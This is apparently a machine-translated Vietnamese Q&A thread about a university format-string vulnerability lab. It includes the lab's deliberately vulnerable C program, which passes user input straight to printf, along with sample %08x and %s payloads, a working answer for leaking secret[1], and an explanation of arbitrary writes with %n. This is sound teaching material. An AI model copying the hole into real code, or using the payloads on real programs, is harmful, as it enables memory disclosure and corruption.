2013-04-17 32 views
9

tôi đang làm việc trên một phòng thí nghiệm lỗ hổng định dạng chuỗi, nơi chúng tôi đang đưa ra đoạn mã sau:Truy cập vào yếu tố thứ 2 của một mảng trong một cuộc tấn công lỗ hổng chuỗi định dạng

#define SECRET1 0x44 
#define SECRET2 0x55 

int main(int argc, char *argv[]) 
{ 
    char user_input[100]; 
    int *secret; 
    int int_input; 
    int a, b, c, d; /* other variables, not used here.*/ 

    /* The secret value is stored on the heap */ 
    secret = (int *) malloc(2*sizeof(int)); 

    /* getting the secret */ 
    secret[0] = SECRET1; 
    secret[1] = SECRET2; 

    printf("The variable secret's address is 0x%.8x (on stack)\n", &secret); 
    printf("The variable secret's value is 0x%.8x (on heap)\n", secret); 
    printf("secret[0]'s address is 0x%.8x (on heap)\n", &secret[0]); 
    printf("secret[1]'s address is 0x%.8x (on heap)\n", &secret[1]); 

    printf("Please enter a decimal integer\n"); 
    scanf("%d", &int_input); /* getting an input from user */ 
    printf("Please enter a string\n"); 
    scanf("%s", user_input); /* getting a string from user */ 

    /* vulnerable place */ 
    printf(user_input); 
    printf("\n"); 

    /* Verify whether your attack is successful */ 
    printf("The original secrets: 0x%x -- 0x%x\n", SECRET1, SECRET2); 
    printf("The new secrets:  0x%x -- 0x%x\n", secret[0], secret[1]); 
    return 0; 
    } 

Chúng tôi không được phép chỉnh sửa mã. Chỉ sử dụng đầu vào, chúng tôi có 4 mục tiêu: làm hỏng chương trình, in giá trị bí mật [1], sửa đổi giá trị bí mật [1] và sửa đổi giá trị bí mật [1] thành giá trị được xác định trước.

Mẫu đầu ra tôi nhận được là:

The variable secret's address is 0xbfffe7cc (on stack) 
The variable secret's value is -x0804a008 (on heap) 
secret[0]'s address is 0x0804a008 (on heap) 
secret[1]'s address is 0x0804a00c (on heap) 
Please enter a decimal integer 
65535 
Please enter a string 
%08x.%08x.%08x.%08x.%08x.%08x.%08x%08x. 
bfffe7d0.00000000.00000000.00000000.00000000.0000ffff.0804a008.78383025 

Vì vậy, bằng cách nhập 8 "% 08x" s, tôi in địa chỉ của bí mật + 4, sau đó tôi in địa chỉ của ints a, b, c, và d - nhưng như tôi chưa bao giờ cho họ một giá trị, họ không chỉ bất cứ nơi nào và chỉ hiển thị 0. Sau đó là số thập phân tôi nhập vào, được chọn sao cho 'ffff' sẽ hiển thị rõ ràng. Tiếp theo là địa chỉ của bí mật [0], sau đó tôi nhận được vào các giá trị khác được lưu trữ trong chương trình.

Nếu tôi nhập AAAA.%08x.%08x.%08x.%08x.%08x.%08x.%08x%08x., sau .0804a008 sẽ là .41414141, bởi vì A từ đầu vào chuỗi sẽ được lưu trữ ở đó.

Thật dễ dàng để phá vỡ chương trình: đủ% s trên đầu vào chuỗi gây ra sự phân đoạn. Bây giờ tôi cần phải đọc giá trị bí mật [1], mặc dù, và tôi hoàn toàn bị mất. Tôi cố gắng đặt địa chỉ trên ngăn xếp bằng cách nào đó, bằng cách đặt nó vào đầu chuỗi như vậy: \xd0\xe7\xff\xbf_%08x.%08x.%08x.%08x.%08x.%08x.%s, nhưng địa chỉ không bị đẩy vào bất kỳ đâu và tôi chỉ cần in bí mật [0] (mà, cho tò mò, là 'D'). Tôi đã thử tất cả các loại địa chỉ, nhưng sau một thời gian tôi nhận ra rằng tôi chỉ lưu trữ tất cả chúng như là một chuỗi nơi mà những người A đã xuất hiện trước đó. Chúng không được chuyển đổi thành hex hoặc bất cứ thứ gì.

Tôi đã nhìn thấy rất nhiều cuộc thảo luận về mã này trên SA và những nơi khác, nhưng tôi chưa thấy ai nói về cách bạn nhận được các giá trị bí mật [1].

Mọi trợ giúp sẽ được đánh giá cao.

Trả lời

4

Để truy cập bí mật [1] bạn phải nhập địa chỉ làm đầu vào số nguyên.

Please enter a decimal integer 
73740 
Please enter a string 
%08x.%08x.%08x.%08x.%08x.%08x.%s 
00008744.bead4ca4.bead4cc4.bead4dc4.00000001.000000a8.U 
+0

Yup, đây là những gì tôi đã mất tích. Cảm thấy như một thằng ngốc TOTAL sau khi tìm ra điều này. Cảm ơn bạn! – Max

3

Bí quyết là sử dụng thông số %n trong chuỗi định dạng do người dùng chỉ định. %n cho biết số lượng byte được ghi cho đến thời điểm này và lưu trữ chúng tại địa chỉ được trỏ đến bởi đối số tiếp theo. Khi bạn không cung cấp đủ đối số cho printf, thì địa chỉ mà nó ghi là bất kỳ giá trị nào xảy ra tiếp theo trên ngăn xếp. Nếu bạn có thể khai thác địa chỉ đó là những gì bạn muốn, sau đó bạn về cơ bản có thể viết một số nguyên 4 byte bất cứ nơi nào trong bộ nhớ.

// Normal usage: count receives the value 14, since 14 bytes were written when 
// the %n was encountered 
int count; 
printf("Hello, world!\n%n", &count); 

// UNDEFINED BEHAVIOR: The value 14 will get written to some unknown location in 
// memory 
printf("Hello, world!\n%n"); 
+0

Điều này là đúng, nhưng bạn đã đi trước tôi một chút: Tôi đang cố gắng tìm cách đơn giản là không tìm thấy các giá trị không có trong ngăn xếp. Khi các giá trị có sẵn, chúng không quá khó sửa đổi. Tôi đã bỏ lỡ câu trả lời khó hiểu rõ ràng, đó có lẽ là lý do tại sao bạn giải thích phần phức tạp hơn (hoặc ít nhất là thú vị hơn). – Max

1

Bạn thực sự có thể chỉ định bù trực tiếp trong chuỗi định dạng.

ví dụ:

$ printf "ADDRESS_IN_DECIMAL\n%%ADDRESS_OFFSET\$p_%%ADDRESS_OFFSET\$s\n" | ./vul_prog 
Các vấn đề liên quan